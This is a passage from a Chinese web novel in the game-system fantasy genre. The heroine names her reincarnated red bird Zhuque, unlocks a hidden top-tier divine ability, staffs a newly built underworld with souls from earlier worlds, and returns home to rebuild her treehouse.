“不是吧？？” 这一刻，颜辞云是真的被吓到了。 这个世界的生命，它们死亡后竟然不是在原世界里转生为另一个生命，而是来了个异界转生？ 你也穿越了？ 这么时髦的吗？ 只不过，这时间对不上吧？ 颜辞云仔细想想，非常确定那只可怜小红鸟被烧死的时间，也就是短短两年之内而已。 这两年的时间，他是怎么在另一个世界里过完一生、打完神战、还完成了毁灭世界这个成就的？ 虽然颜辞云自己倒是真的在两年内搞定了成神的过程，甚至还开了养殖场，连冥府都建出了雏形……但仔细想想果然还是觉得南陆的事很离谱。 看来，这所谓的时间，果然奇妙啊！ 莫名的，颜辞云想到了一个词：天上方一日，世间已千年。 “但这也不是天上啊……” 想不通的事不要太为难自己。 颜辞云很快把时间流速的这个事放下，继续看了下去。 之后，有关南陆的人生，倒是和颜辞云在胡拉坎小世界里了解的那些大差不差，而又因为这次并非是从第三者的角度旁观而是从南陆本人的视角来看待“自己”的人生，所以颜辞云对南陆的了解又更深了一些。 南陆真的是一个很普通的人。 这样评价一位太阳执行人、在世界的终末打赢神战的“太阳神”或许有些奇怪，但南陆真的只是一个拥有了不合时宜的天赋的普通人而已。 他或许有勇气，但这样的勇气不够反抗父母、家庭和世俗，抛下一切一走了之；他也曾有天赋，但这样的天赋不足以让他颠覆世界和规则，彻底掌控自己的人生。 他甚至是懦弱的，但他的懦弱却不够让他成为一个彻头彻尾的缩头乌龟；他同时也是畏怯的，但这样的畏怯却也不够他彻底成为托肖政府和伪神们手中的傀儡。 他的懦弱让他无法向前，他的勇气让他无法后退；他的天赋让他无法平凡，他的畏怯又让他无法出众。 他的一生，都写满了不合时宜。 和世界上千千万万的普通人一样，和……颜辞云一样。 但比颜辞云要惨的是，他没有金手指。 这个成为了人类的南陆，就和他作为小红鸟时一样，总是缺了那最重要的几分运道，这才落得了如此潦草的一生。 最后的最后，南陆执意想要维系世界、为自己的毁灭而赎罪，却又不知道该如何维系世界的他，撑着最后一口气，在荒芜大地的深处苟延残喘。 而在南陆彻底死亡前，他看到本该荒芜的世界出现了一个“人”。 那人身披华光，如天神降临，分明没有像那些伪神那样特意做出任何显现威严与声势的事，却就是能让人感到，祂必然是真正的神灵。 【一切都结束了。】 神来到他的面前，如同抚摸自己的孩子那样，慈爱地摸了摸他的头。 就好像……很多年很多年以前那样。 【剩下的，就交给我吧。】 南陆轻易相信了祂，释然咽下了最后一口气。 在死亡的那一刻，他像是听到了一个声音。 【如果有下辈子，你想成为什么样的人？】 南陆毫不犹豫：“当人太累了，我或许一点都不适合当人……如果可以，让我成为一只鸟吧。” 一只能够在天上飞翔的，真正自由的鸟儿。 于是，兜兜转转，轮回往复。 他回到了这里。 回到了……他第一世没能跟上的主人身边。 颜辞云愕然看向自己手里的这只小胖鸟，就连一直紧攥着它的手都松开了些。 她沉默片刻，叹息一声，神色说不上是愧疚还是怜悯。 “真是个……” 真是个前所未有的倒霉孩子啊。 第一世被小贼猫玩弄于股掌之间，第二世则又惨兮兮傻乎乎，这第三世，如果还叫它有个悲惨下场，那就真的说不太过去了。 颜辞云想着，默默翻出之前的系统提示。 【检测到有一可驯服的异类生物，请问玩家是否想要收服宠物[未命名]？】 【是】 无形的线，在这一刻将颜辞云与这只小红鸟捆绑在了一块儿，就像是之前的白虎那样。 颜辞云打开宠物区块，看着空荡荡的名字栏，又看着手中没有一丝杂色的红色小火鸟，说道： “从此以后，你就叫……火、玄、朱……” 顿了顿，颜辞云点头。 “对，就叫【朱雀】。” 第105章 神通 冯冯翼翼，洞洞灟灟…… 摸清了这只古怪小红鸟的底细后，颜辞云手上的事立即就少了大半。 毕竟她之前忙来忙去都是为的这只小红鸟。 不过，在颜辞云真正撂手离开台州前，她不得不考虑起了一个问题：自己面前的这个工具冥府，要怎么办？ 从本心上来说，颜辞云是不想要将它当作畜棚鸡舍那样的经营建筑来管理的，或者说，如果非必要，她根本不想理会这个建筑。 原因依然是老一套：不喜欢跟“人”打交道。 冥府是一个必须要有“管理者”才能正常运行的建筑。 虽然现在一级的冥府建筑，只需要一个主建筑管理者就搞定了，可以后呢？ 等它以后等级高了，又需要多少管理者？ 这些管理者要怎样选拨？怎样监管？怎样制衡？ 到时候他们的人际关系又会如何？ 会不会栽赃陷害告黑状恶性竞争尸位素餐？ 有人的地方就有争端，颜辞云最头痛的就是这样的争端。 可偏偏，她那该死的道德感和责任感又让她实在没法放下。 因为，肉眼可见的，这方世界的冥府的建成，令生与死中出现了一个新秩序。 新秩序的建成其实不可怕，可怕的是这个新秩序不但是个半成品，并且压根没有人管，甚至它自己也无法因此毁灭、令世界回归旧秩序下！ 颜辞云只要一想到未来的这个冥府一边依靠它自己的力量、自发吸引这方世界的亡魂进入冥府，一边却又因为没有管理者而令大量亡魂堵在冥府内部的情景，就感到眼前一阵发黑。 “唉，建都建了……” 拆了吧，不舍得。 毕竟投入了这么多资源，哪怕她用锤子拆掉冥府，也不会有资料返还的事。 而停工烂尾吧，又过意不去。 毕竟这玩意儿又不是真的烂尾楼，而颜辞云也不是黑心地产商，如果颜辞云当真放任不管，那是真的会造成未来全世界亡魂都堵在一级冥府里的事的！ 既然如此，也只有继续建了。 就和“大过年的”“来都来了”这两大原谅法则一样。 颜辞云硬着头皮，无奈地继续建了下去。 她想，在自己放手前，至少也要把冥府的真正雏形建成。 可是，什么样的冥府，才算是一个初步完善的冥府呢？ 颜辞云是见过两个“冥府”的。 在第一个赛博修仙的世界里，颜辞云见到的是异界冥府的办事员，而从这些办事员口中，她了解到了冥府“轮回转生”的要素。 而在第二个胡拉坎的众神世界里，颜辞云见到的是“九层冥府”，了解到的是“收纳囚困”这个要素。 如今，假若让颜辞云来评价以上两个小世界的两个冥府，分出它们孰优孰劣的话，那颜辞云只能说，负五十分和负一百分没什么好比较的。 颜辞云甚至不明白，像前两个小世界那样一点功能性都没有的冥府，为什么还需要“员工”和“死神”这样的职位。 你们就不能全自动运行吗？ 在颜辞云的心中，她一直觉得，冥府这样的地方都应当有一个最基础的、也最不可缺失的功能，那就是审判罪恶。 引渡亡魂、审判罪恶、投入轮回。 既然如此，想要建成一个真正能称得上“冥府”的建筑，一个符合最朴素的“善恶有报”、“因果轮回”理念的冥府，建筑页面里的三个附属建筑——孽镜台、业火岭、轮回井，每一个都是不可缺少的！ 所以，接下来，颜辞云足足花了三天，才将业火岭和轮回井做出来。 为什么要花三天？ 多简单。 因为颜辞云的炁不够了。 颜辞云在吃掉应龙、接替上一任应龙的四季之神的位置后，炁总量便一路暴涨，来到了4000。 这是个非常惊人的量级，一般来说是绝对用不完的，更何况颜辞云又不是死人，她的炁是会自动恢复的。 但这一切叠加，都耐不住颜辞云的消耗惊人呀！ 比如说，把小世界转移到大世界里的耗费，1500单位炁。 紧接着，从种植区块兑换扶桑木种子并催长，200单位炁。 最后，建造孽镜台，100单位炁。 除此之外，颜辞云还需要维系畜棚鸡舍一系列生产设备的运行。 比如说，牛棚需要30单位炁每日，羊圈是40单位炁每日，鸡舍里动物满了之后是40单位炁每日，合起来就是110单位炁每日。 所以，此时此刻，颜辞云的炁竟然只有两千出头了。 接下来，建造业火岭又需要提供300单位炁，轮回井更是需要500单位炁！ 供不起了啊！ 第一次的，在成为新一任应龙后，颜辞云有了捉襟见肘的窘迫感觉。 而更要命的是，颜辞云现在手上的物资，其恢复速度已经远远跟不上颜辞云的等级了。 当颜辞云还是一个炁总量只有60的小卡拉米时，颜辞云手上的最强恢复回炁丹是用甘露制成的，一颗就能恢复三分之一。 而现在，20单位的炁对她能顶什么用？ 她一个深呼吸就能恢复5单位炁呢！ 所以，最后，颜辞云不得不老老实实待在自己的小树屋里，一边吃吃喝喝，看活动室里的猫鸟大战下饭，一边靠自己缓慢恢复力量。 而与此同时，鉴于自己现在手上已经有了两个技能点，颜辞云想要加点的心又开始蠢蠢欲动了。 目前，颜辞云战斗面板的四个技能中，【吞噬】加到了满级3级，【改造】只投入了一个技能点，剩下的【支配】与【亲和】都是0级。 按理来说，颜辞云最好的选择是专精发展，也就是加完一个主能力后，再考虑其它。 毕竟，从【吞噬】技能加满后出现的【吞天食地】这个能力来看，【改造】技能加满后自带的能力，必然也是极厉害的。 刚好，颜辞云如今手上有两个闲置的技能点，可以全部投入【改造】技能里，立即兑换出一个像【吞天食地】一样惊人的能力。 可是—— 有这个必要吗？ 在战斗方面，颜辞云目前的能力是完全够用了，不论是单挑还是群殴，颜辞云都不带怕的。 唯一让颜辞云生出危险感、觉得有可能威胁到自己小命的，只有被封入五行残缺的异世界这一点了。 可问题是，【改造】这个技能，哪怕升到满级，它衍生出的能力也不会在空间逃脱上对颜辞云有所帮助吧？ 所以，颜辞云此刻十分镇静，并没有被【改造】技能终点处的隐藏大奖轻易迷惑，而是继续沿用自己的原计划，把一个技能点扣在手里当底牌，多出来的那些技能点，才会考虑花费。 那么，这个多余的技能点要花到哪里去呢？ 颜辞云很快有了决定：用来解锁生活模块！ 事实上，在做完了两个主线任务的现在，颜辞云那个分币不投的生活模块，已经解锁了二分之一，也就是【恒顺地理】这一部分了。 如果颜辞云等得起的话，她可以选择一直拖下去，拖到下一个主线任务出现，看会不会给颜辞云另一半的【承天布宣】也自动解锁了。 但颜辞云觉得，解锁生活模块的技能点花费，或许是有必要的。 而理由也很简单，那就是有些时候看起来像是捷径的道路，往往才是绕路最远的。 与其去赌那个不知道多久之后、遇到什么事件才会刷新的主线任务，颜辞云更喜欢付出一点小小代价，以将事件的主动权掌握在自己手上。 捋清思路与轻重缓急后，颜辞云果断把手上唯一可动用的技能点投入到了生活模块上。 而下一秒，非常神奇的，颜辞云感到自己的身体骤然一轻。 冥冥之中，似乎有什么无形的锁链骤然崩断。 那沉重而无形的捆缚在虚空中憾然滑落的声音，正如同颜辞云灵魂在上升时听到的渺渺仙音！ “奇怪……” 这一刻，原本躺在活动室里当咸鱼的颜辞云蓦地跳了起来。 她下意识环视四周，感到空气中好似有什么微妙的东西悄然改变了，可偏偏……就是说不上什么东西变了。 是世界的颜色变得更鲜艳了吗？ 还是自己的五感变得更灵敏了？ 又或者是力量更服帖了，五行元素更清晰了，对世界的认知更深了…… 或许是。 又或许都不是？ 颜辞云看着身前毫无所觉的小猫小鸟，又缓缓躺了回去。 算了，反正也不是什么坏事。 就这样吧。 拿好处的人默默拿着就是了，何必要一点一滴搞得那么清楚呢？ 就连资本家在剥削牛马的剩余价值的时候，也不会思考他们手上有哪些钱是应得的，又有哪些钱是剥削得来的。 那她一个从不伤害任何人、只会老老实实开挂的生活玩家考虑那么多做什么。 飞快开解了自己后，颜辞云躺在玻璃窗前，一边摆着尾巴尖，一边浏览自己解锁的新面板。 令颜辞云惊讶的是，这【承天布宣】的面板虽然归属在生活模块里，可点开后才发现，这面板里头竟然全是技能。 更不可思议的是，这琳琅满目的技能中，竟然有许多都是颜辞云点亮了的！ 【呼风唤雨】、【振山撼地】、【驾雾腾云】、【翻江搅海】、【鞭山移石】、【挟山超海】、【降龙伏虎】、【推山填海】、【大小如意】、【回风返火】、【掌握五雷】、【飞砂走石】。 满满的三十五个技能里，竟然有十二个都是被点亮的状态！ 颜辞云初看时十分惊愕，可仔细想想，又觉得挺正常的。 毕竟，现在的她是新一任应龙，那所有关于四季变化、移山倒海的能力，都是属于她的。 甚至应龙本身就符合【承天布宣】这个描述。 所以别说点亮了十二个技能，就算是点亮了三十五个技能都是很正常的！ 虽然这样想着，但颜辞云思考片刻后，总觉得【承天布宣】这一面板下的技能分外眼熟。 “颠倒阴阳，移星换斗，回天返日……” 这些是没有点亮的技能。 “呼风唤雨，振山撼地，驾雾腾云……” 这些是已经被点亮的技能。 颜辞云迟疑不已：“它们是不是……是不是属于——天罡三十六法？” 在赛博修仙世界津津有味看广告的日子里，颜辞云扫了一眼【天罡三十六法】和【地煞七十二术】，对它们对应的能力也有了粗略了解，这才能一眼认出这些能力来。 可是…… 天罡三十六法的话，应该对应的是三十六个技能吧？ 哦，对了，按照赛博修仙世界的说法，这不是什么【技能】而应该是叫【神通】。 但这里仅有三十五个神通而已啊。 少了哪个呢？ 颜辞云把面板拉上拉下，目光上下扫视，蓦然一愣，灵光一闪，一个不可思议的想法在脑中疯狂跳动。 她默默返回上两级，来到最初的技能页面，也就是那个仅有三个图标的半透明窗口。 此时此刻，它们依然保持着颜辞云第一次看到时的模样，好像无论什么时候都不会改变。 颜辞云看向左边。 左边的绿色图标下，有文字写着：【千般生机因我起。】 颜辞云又看向右边。 右边的黑色图标下，有文字写着：【万条道路由我终。】 颜辞云再看向最下方。 最下方的灰白图标，全是问号。 她点了点这个灰白图标，熟悉的提示跳出。 【本模块需玩家在生活模块与战斗模块共投入40技能点后方可解锁。】 【当前已投入技能点：6】 颜辞云看着这两行提示，沉吟片刻。 直到视线中半透明的文字淡去后，颜辞云才再次伸手，在虚空中轻轻擦了擦那个灰白图标下方的问号文字。 她轻声试探： “冯冯翼翼，洞洞灟灟？” 这一瞬间，灰白的图标骤然亮起。 像是一团被无形之力搅动的不安雾气，像是远古混沌之中的幽深漩涡！ 甚至，就那图标下方的文字也被抹去迷雾，在此刻呈现真容—— 【冯冯翼翼，洞洞灟灟】 “天地未形，冯冯翼翼，洞洞灟灟，故曰太昭。” 颜辞云没想到，这个被隐藏起来的文字，竟然真的就是这一句！ 只不过，也只是这一瞬间而已。 下一秒，灰白的图标再度黯淡，而那一行本已经显现的文字，也再次被迷雾覆盖。 不过，这一瞬间的清晰也足够用了。 因为颜辞云已经知道了那消失的第三十六天罡去了哪里，也知道了这个灰白图标之下藏着的神通是什么： 【斡旋造化：斡旋天地，玄堪造化，以无生有，以死为活。】 斡旋造化。 造化之力。 这是只存在于传说中的最高神通！ 是哪怕赛博修仙世界里那些站在神界、自称仙人的修士们，也摸都摸不到的玄妙之力！ 可如今，它却静静躺在颜辞云的技能栏底部，等待颜辞云按部就班地走到它面前，将它点亮 ，将它掌握。 那么，所以—— 剩下的技能点要怎么搞比较快？ 颜辞云摩拳擦掌。 她已经迫不及待想要点出这个最高神通了！ 第106章 交接 她颜辞云是不可能打…… 颜辞云想要大薅特薅技能点。 可无奈的是，当前技能点的入账途径有且仅有探索小世界这一条路径，而颜辞云又才刚从小世界里回来。 上吊还要喘口气呢。 歇歇吧。 下次再说。 总能解决的。 在这一套三连自我说服下，颜辞云又安详地躺了回去。 之后的三天时间里，颜辞云花了一天时间来休息，第二天建造业火岭，第三天建造轮回井。 而当轮回井也在台州的冥府内建成后，一个关于生死的世界新秩序，也就此彻底建成！ 轰隆！ 那是冥冥之中的某个声音在回响着。 似乎是旧秩序毁灭时的不甘遗响，也可能是新秩序建成后的喜悦宣告。 颜辞云抬头望去，见到天上风云变幻，日月同辉。 有一缕缕似清炁，似浊炁，又似死炁的风化作丝线，向冥府的位置缠绕了过来。 颜辞云好奇伸手，在这些“丝线”飘来的路上挥了挥，却差点没把这几缕“丝线”给挥散。 她吓了一跳，连忙收手，装作无事发生。 在没有了颜辞云这个大怪兽的打岔后，“丝线”缓了口气后，重振旗鼓，继续向冥府的方向飘荡而来。当来到幽都核心，也就是酆都大帝宫的位置时，它倏尔降落，钻进宫殿，消失不见。 似乎是与整个酆都、整个幽都融为了一体！ 这一刻，在颜辞云惊讶的注视下，原本还粗制滥造、就像是大怪兽玩过家家的小玩具的幽都，肉眼可见地精致了起来。 而其中最直观的感受是，那一盏盏在镇魂灯中点燃、飘荡在幽都上空，映照得整个幽都都像“邪教圣地”的发绿鬼火，竟在这一刻被注入了不一样的神光，显现出了真正配得上“镇魂”之名的神圣威严。 与此同时，一条蜿蜒的黑水也从幽都顶端延生而出。 颜辞云还记得，当冥府还只是幽都、是个在她手里小小一个的袖珍小山时，山上的确有这样的一条黑水。 可当颜辞云把袖珍小山放下后，黑水又不见了。 当时颜辞云还以为，这条黑水可能是像孽镜台、鬼门关之类的建筑，是需要她后期进行建设的东西……可没想到它竟然是这样来的？ 只见，那黑水从幽都顶端蜿蜒而下，带着介于生死之间的沉静气息，从奈何桥下穿过后，一路向下，在幽都的山脚绕了一圈，形成闭环，只留了鬼门关下唯一的一条黄泉路，以供出入。 颜辞云仔细打量，发现这条环绕幽都的黑水，既不向外蔓延，也不向内沉淀，而当颜辞云随手丢下一片落叶后，那轻飘飘的落叶竟触水即沉！ “难道……还真要按照地府的规格来建呀？” 颜辞云在心里嘀咕了系统两句，不明白这个明明缝了《我O世界》、《饥O》、《星OO无语》等数个现代化的求生经营小游戏的系统，怎么在建设冥府的事上就这么传统，一点新意都没有。 “就没想过建一个赛博地府吗……呃，好吧，赛博地府还是算了，听起来怪鬼畜的。” 至此，这方世界的冥府已然建成，而在颜辞云的管理页面上，冥府的具体数值是这样的： 【冥府（1级）（可命名）】 【主建筑管理者：0/1】 【主建筑等级：1】 【附属建筑管理者：0/6】 【附属建筑物：6/6】 【附属建筑等级：鬼门关1/5、黄泉路1/5、奈何桥1/5、孽镜台1/1、业火岭1/10、轮回井1/50】 【建筑1→2条件：……】 随手把【冥府】改成【地府】后，这个管理页面也总算像模像样了。 如今，离新秩序的彻底落地，还只差最后一步，那就是选择管理者。 不仅是选择主建筑管理者，也就是酆都大帝宫的主人第一任酆都大帝，还要选择其它六个附属建筑的管理者。 对于这些人选，颜辞云没有什么好多想的。 她直接往分身死神套装的空间袋里一掏，把全心和楚佩雯的灵魂抓了出来，接着又来到弇州，站在世界树前，试探着把手伸进掏一掏。 好消息是，颜辞云真的在世界树的最深处位置发现了一大堆沉睡的灵魂光点！ 颜辞云暗暗松了口气。 说实话，赛博修仙的世界的结局是“重启”，而这个“重启”，既可以是“世界树保留了所有人的灵魂，等待下一次的转生”，也可以是“世界树吸收了所有人的灵魂，等待下一次的重塑”。 如今看来，答案似乎是前者。 那这就好办了。 颜辞云把赛博修仙世界里给她印象最深的“小凤凰”的灵魂掏了出来，想了想后，又把真正的岳灵倩的灵魂也掏了出来。 如此，颜辞云手上便有来自两处小世界的四个灵魂了。 这四个灵魂，想来拉起一套地府的初始班底，应该是够用的。 毕竟地府里真正重要的建筑，其实只有酆都大帝宫、孽镜台、业火岭、轮回井这四处而已，另外两处只能算添头。 孽镜台，公正之地，可映照一切罪恶的真容。 这个地方由曾经在托肖文明当过执法者的楚佩雯来管理。 业火岭，惩戒罪人之处。 这个地方，颜辞云第一个就想到了赛博修仙世界里那个起来好说话，实则杀气腾腾的“小凤凰”。 而且，颜辞云记得，她好像正有一个“拯救世界”的梦想？ 惩戒恶人，消除业火，怎么不算是拯救世界呢？ 颜辞云把“小凤凰”的灵魂放进建筑，看到了她的真名：任元女。 一个不是很现代，但是很修仙的名字。 行吧。 接着是轮回井。 轮回井这个地方很重要，甚至可以说整个地府的所有功能性建筑，最终都是为了这个轮回井而存在的。 因此颜辞云把轮回井交给了一个她认为最有可能管理好的人：全心。 在被关在特殊监狱的三十多年里，全心的多才多艺以及她的沟通能力是毋庸置疑的。 全心唯一缺的东西，仅有运气而已。 颜辞云相信，如果全心没有早早死了、如果在打神战的时候有全心从中斡旋，那么托肖文明以及整个胡拉坎小世界，其实都是不必走向毁灭的。 ——有力量的人没脑子，有脑子的人死得早。 全心缺少的这一分运道，何尝不是整个托肖文明缺少的运道呢？ 总之，如果将轮回井这样的重要之地交给全心，颜辞云是很烦放心的。 因此，最后，剩下的中学生岳灵倩，其灵魂被无情的玩家拉到酆都大帝宫，成为了第一任酆都大帝。 颜辞云记得，酆都大帝这个称呼听起来吓人，但其实在地府的地位却有点儿像是吉祥物，平时听听手下汇报嗯嗯嗯就行，实事是不干的。 毕竟，地府的小事轮不到酆都大帝管，而大事……嗐，这小破地府能有什么大事？ 所以没错，吉祥物酆都大帝配吉祥物中学生，就决定是你了，岳灵倩！ 把每个灵魂都拖入相应的建筑，在管理页面上给予相应的管理权限，再把地府的运行模式调整为自动运行，地府提交的汇总信息报告选择一年一交——主要是信息汇总这个实在关不了。 但投诉箱和意见箱就全部关闭了，免得她坐在金丘还要天天听人念叨。 她颜辞云不求权不求钱的，免费在这里搭建筑打基地，给了你们发挥的舞台，到头来还要听你们的念叨？ 不可能的！ 自己的事自己解决好嘛！ 同理，地府的升级权限，颜辞云也选择了下放至管理层。 日后如果有什么人想要扩张地府、新增建筑、管理人员，那就让这些人自己去折腾。 最后，颜辞云有些不舍地摸了摸自己刚到手的新玩具生死薄后，到底还是把它放在了轮回井，留给了全心。 既然选择了不管地府，那就要放手得彻底一些。 搞定以上得这一切后，颜辞云给每人留下一张纸，说明了当前的大致情况，以及她们接下来要做的事。 之后，颜辞云又把死神外套里装着的所有灵魂，一股脑倒在台州，任这些灵魂在浑浑噩噩中受到地府牵引，自动向地府走去，排队轮回。 而至于世界树深处的那些灵魂光点，颜辞云查看了一下，发现它们也的确受到了地府的牵引力量，在接下来的数个月或者数年的时间里，会接连苏醒，自动去往地府。 至此，与地府有关的一切秩序，都已建成。 随着管理者们的到位，这座全新的建筑物——地府，也即将开始运行起来。 而颜辞云也在操劳了这么多天后，总算可以放心走人了。 拜拜了你们，拜拜了所有的麻烦事务。 你们自己世界的生死轮回、善恶裁决，还是由你们自己搞定吧！ 她颜辞云是不可能打工的，这辈子都不会打工的！ 想到这里，颜辞云转身，毫不犹豫地跨越大海，回到金丘。 种田养牛，绘画雕刻，岁月静好的平静时光，她颜辞云回来啦！ · 这一边，颜辞云走得固然潇洒。 可另一头，一觉醒来就发现自己从预备高中生变成了酆都大帝的岳灵倩，却无疑是感到天都塌了。 啊？不是？ 什么？ 酆都大帝？地府的主宰、天下鬼魂之宗？ 她吗？！ 第107章 等待 “事实上，我也等待…… 且不提台州那边因赶鸭子上架而造成的一团混乱。 金丘这边，颜辞云倒是过了一段自得其乐的悠闲日子，每天除了种种地、收获点儿肉类牛奶，啃点果干，就是练习绘画和雕刻了。 对了，还有颜辞云这段时间的新宠——乐器。 上一次，在颜辞云为当扈和年兽调节了矛盾之后，她就获得了当扈首领献上的“锦旗”：一根七彩梧桐。 有了这根七彩梧桐，颜辞云就可以在她的树屋上建设名为【凤凰台】的琴舍了。 【凤凰台】是颜辞云经过精挑细选后，在建筑页面找到的一个非常漂亮的建筑图纸。 凤凰台在系统的标注里，是功能性建筑、是专门用来练习乐器的“琴舍”——毕竟乐器习得速度+15%。 但颜辞云看中的可不是这15%的乐器习得速度，而是它超漂亮的外观！ 颜辞云的审美一直偏向自然、和谐与实用。 虽然她也曾经在赛博修仙世界里见过仙气飘飘的仙界与仙宫，也曾由衷赞叹过它们的美丽，可她从没有生出过长住于此的念头，更没想过要把自己的树屋改造成恢（毫）宏（不）大（实）气（用）的仙人风。 因此，颜辞云选中的凤凰台，当然也走的是与自然融为一体的风格。 从外观上来看，凤凰台像是一座藤曼缠绕而成的高塔。 这座塔内部中空，木制化的蔓藤自成平台，可以放置乐器，边缘则长着无数奇花异草。 而在塔的外部，蔓藤交织，叶片掩映，它们的角度十分巧妙，既能遮风挡雨，又不会过分阻拦视线，反而给人以一种半遮半掩的梦幻感。 是非常符合颜辞云审美的琴室了，不管放在树屋的什么位置，都能和谐地融入。 只不过当时，在得到七彩梧桐的时候，颜辞云满心都是上一任应龙的死亡，危机感和阴影始终笼罩心头，因此也没有工夫去考虑琴舍落地的事，而是马不停蹄地去往了新世界探险，专注于提升自己的实力。 可如今，颜辞云心中的紧迫感已消散大半，于是“娱乐”这个项目，便又被颜辞云提上了日程。 颜辞云打开建筑页面，把自己之前预设好的【凤凰台】调了出来，投出虚影，在自己的树屋处上下调整了一会儿，最终决定建在活动室的斜对面。 既可以透过活动室的玻璃窗看到琴舍，又不会被琴舍挡了风景。 很好，很好。 确定了位置后，颜辞云直接在建筑页面点下了建造。 【检测到新的建筑物，是否将此建筑物纳入系统管理页面？】 咦？还有这种好事？ 颜辞云心下大喜，毫不犹豫地选择确认。 毕竟，颜辞云虽然喜爱自己亲手建造的小树屋，但也对自己的设计水准很有自知之明，知道这个小树屋与设计大佬出品的建筑不是一个等级的。 可如果这个小树屋也能纳入系统管理页面的话，是不是就代表着她可以更精准地对自己的小树屋进行美化了？ 是不是代表着，她可以在收集到足够材料后，直接用系统出品的设计图纸对树屋上的房间进行一键替换，而不必她一个方块一个方块的亲手搭建了？ 果然！就如颜辞云想的一样！ 在点下确定后，颜辞云的人物页面上又增加了一个名为【家园】的选项。 点开选项后，小树屋的缩略图立即出现在了眼前。 【建筑：树屋（未命名）】 【建筑等级：0】 【建筑核心：建木】 【附属建筑：正厅（残缺）、厢房（残缺）、厨房（残缺）、园景（残缺）、书房（残缺）、凤凰台、游廊（残缺）、仓库（残缺）、地窖（残缺）、收藏室（残缺）。】 【附属生产建筑：牛棚（1级）、羊圈（1级）、鸡舍（2级）、磨坊、制作室（残缺）。】 【备注：残缺的附属建筑可投入图纸进行修补，或直接投入材料自动修补。】 颜辞云：“……” 好嘛，奋斗一整年，以为自己起码奔了小康，结果回头一看，自己在系统里的等级还是0——建筑全都“残缺”是吧？！ 这一刻，在看到自己辛苦建设的小树屋的信息总览时，颜辞云几乎想要拍案而起，怒斥系统的何不食肉糜。 可当她回头点开系统提供的“参考图纸”，定睛一看。 颜辞云：“……我承认我刚刚说话有点大声。” 总而言之，翻新，翻新！ 统统翻新！！ 于是，在建造了漂亮的凤凰台，并给自己增添了【乐器】这个娱乐项目之后，颜辞云又开启了新一波的物资收集。 建筑的翻新，一般都离不开两个东西：木头，石材。 其中木头倒是好说。 在有了种植区块提供的神器树种后，想要搞出大量木材，那就是分分钟的事。 但石材就实在没办法了。 颜辞云暂时还没有掌握石化的能力，没法凭空造出石头来，最后只能扛着她闪亮亮的钻石镐，去石原挖石头去了。 于是—— 哐哐哐，哐哐哐，哐哐哐。 石原的声音一连响了三天，不但把石原的原住民食铁兽们烦得吃不好睡不香，欣赏自己的矿物宝贝们都没心情了。 甚至连被放逐在石原上游荡的年兽，都暴躁地冲进了岩浆区，按着三头犬一顿暴揍。 颜辞云在地底哐哐哐，年兽就在地上按住三头犬的脑袋哐哐哐。 最后，当颜辞云终于收满石头离开时，揍狗揍爽了的年兽也拍拍屁股离开了，徒留遭受无汪之灾的狗躺在地上，默默泪流。 呜呜呜……这跟本汪有什么关系嘛，呜呜呜…… 而在颜辞云不断收集材料、不断翻新建筑的过程中，颜辞云还时不时会被附近的一些本地兽找到，要求她主持公道，或者寻求她这位天神大人的帮助。 比如说在春季的第二个月，找上颜辞云的，是来自南方焦侥大陆深处的火鸟。 同时也是被恶猫小白狠狠偷了一波蛋的失主。 所以，理所当然的，当颜辞云远远看到这只火鸟径直飞来时，她的第一反应就是小白偷蛋的事败露了！ 那位焦侥深处痛失爱蛋的家长，在经过千辛万苦的线索收集和人物排查后，终于找出了可恶偷蛋贼的真身，那就是上一任的刑罚使、一只天天偷鸡摸狗的坏猫！ 于是，它当机立断，悍不畏死地找上门来，要求天神大人严肃处理这只恶猫，秉公执法，以儆效尤！ 颜辞云：“呃……” 不得不说，当时的颜辞云是真的汗流浃背了。 但还好，这只火鸟并非是因为它们族群一年多两年前遗失的那些蛋过来算账的，而是来恳请颜辞云这位四季之神去焦侥布雨的。 “布雨？”颜辞云听的一呆。 没错，布雨。 姿态优雅的火鸟这样对颜辞云“说”着。：“毕竟我们也不是当扈那些粗鲁的下等鸟，哪怕是荒野也能居住、腐物也吃得津津有味。保证自己居住之地的自然的平衡，是我们天神后裔应当做的事。” 颜辞云其实是不能完全听懂鸟语的。 她之所以懂得这只火鸟在“说”什么，可能是因为系统的粗糙机翻，也可能是由于“天神大人”自带的意译。总之，半懂不懂的。 可是，就算是这样半懂不懂的鸟语，颜辞云都感到了火鸟咬文嚼字的那股劲儿。 和见面就滑跪的当扈的确不是一路鸟。 颜辞云：“……好吧。” 难得遇上一个主动配合颜辞云调整生态环境的、维持气候平衡的，颜辞云当然也不会有意见，就这样溜溜达达着去火鸟族地转了一圈。 或许这些火鸟真的是上一任应龙的后裔，天生就懂得平衡之理。 哪怕它们生来就能操控火焰，如同毕方的翻版，似是要将目光所及之地统统化作灰烬，可事实上，与只能居住在火山的毕方不同，这些火鸟破壳后懂得的第一件事，就是收敛自己与生俱来的火焰。 它们十分热爱自然，从不会主动做出焚烧森林或草地的事，甚至当遇到干旱时候，还会向对应之人求助。 比如说新任天神大人颜辞云。 颜辞云来到火鸟的地盘转了一圈，看着这里漂亮的花花草草，对这群爱护自然的小红鸟的印象非常好。 于是在完成降雨后、离开焦侥之前，颜辞云主动送了一颗小型水灵珠给它们，告诉了它们水灵珠的使用方法。 小红鸟们对此果然十分高兴。 毕竟，哪怕这群火鸟们生来就懂得主动收敛身上的火焰，可它们到底是火鸟，与火炁的过分亲近，令它们的居住地非常容易陷入干燥、干旱甚至是火焰之中。 可如今，有了水灵珠后就不一样了。 只要它们记得及时往水灵珠里添水，今后它们睡觉就再也不用睁着一只眼、时刻担心自己的家会在睡觉时被烧没了！ 小红鸟们高兴了，之前的高冷与矜持一扫而空，开开心心地把自己小窝里最喜欢的东西叼出来塞给颜辞云，其热情程度让人简直没法招架。 而在这样的热情中，颜辞云收获了一些奇奇怪怪的小东西。 比如说往地上一埋，过个百年就能收获一片玉石的【灵脉之心】。 颜辞云：啊？ 比如说模样古怪的，看起来像心脏摸起来像石头的【玲珑百窍心】。 颜辞云：啊？？ 还比如说一颗晶莹剔透的，对准阳光看像是玻璃珠、拿在手上又像玉石的小珠子，【龙珠】。 颜辞云：啊？！！ 【灵脉之心】就算了，像这种充满神力量的世界，冒出这么一个会自己长玉石的东西，仔细想想也不算什么。 而【玲珑百窍心】也好说，虽然它是建造书房的核心材料，之前颜辞云一直满地寻找也没有头绪……但它到底只是一种比较特殊的石头而已。 可【龙珠】……有没有搞错，这可是龙珠啊！！ 还是说她颜辞云想错了，这只是一颗石头，并且它刚好叫做【龙珠】，和真正的龙其实一点关系都没有？ 颜辞云捏着手上的这颗龙珠，看向小红鸟们。 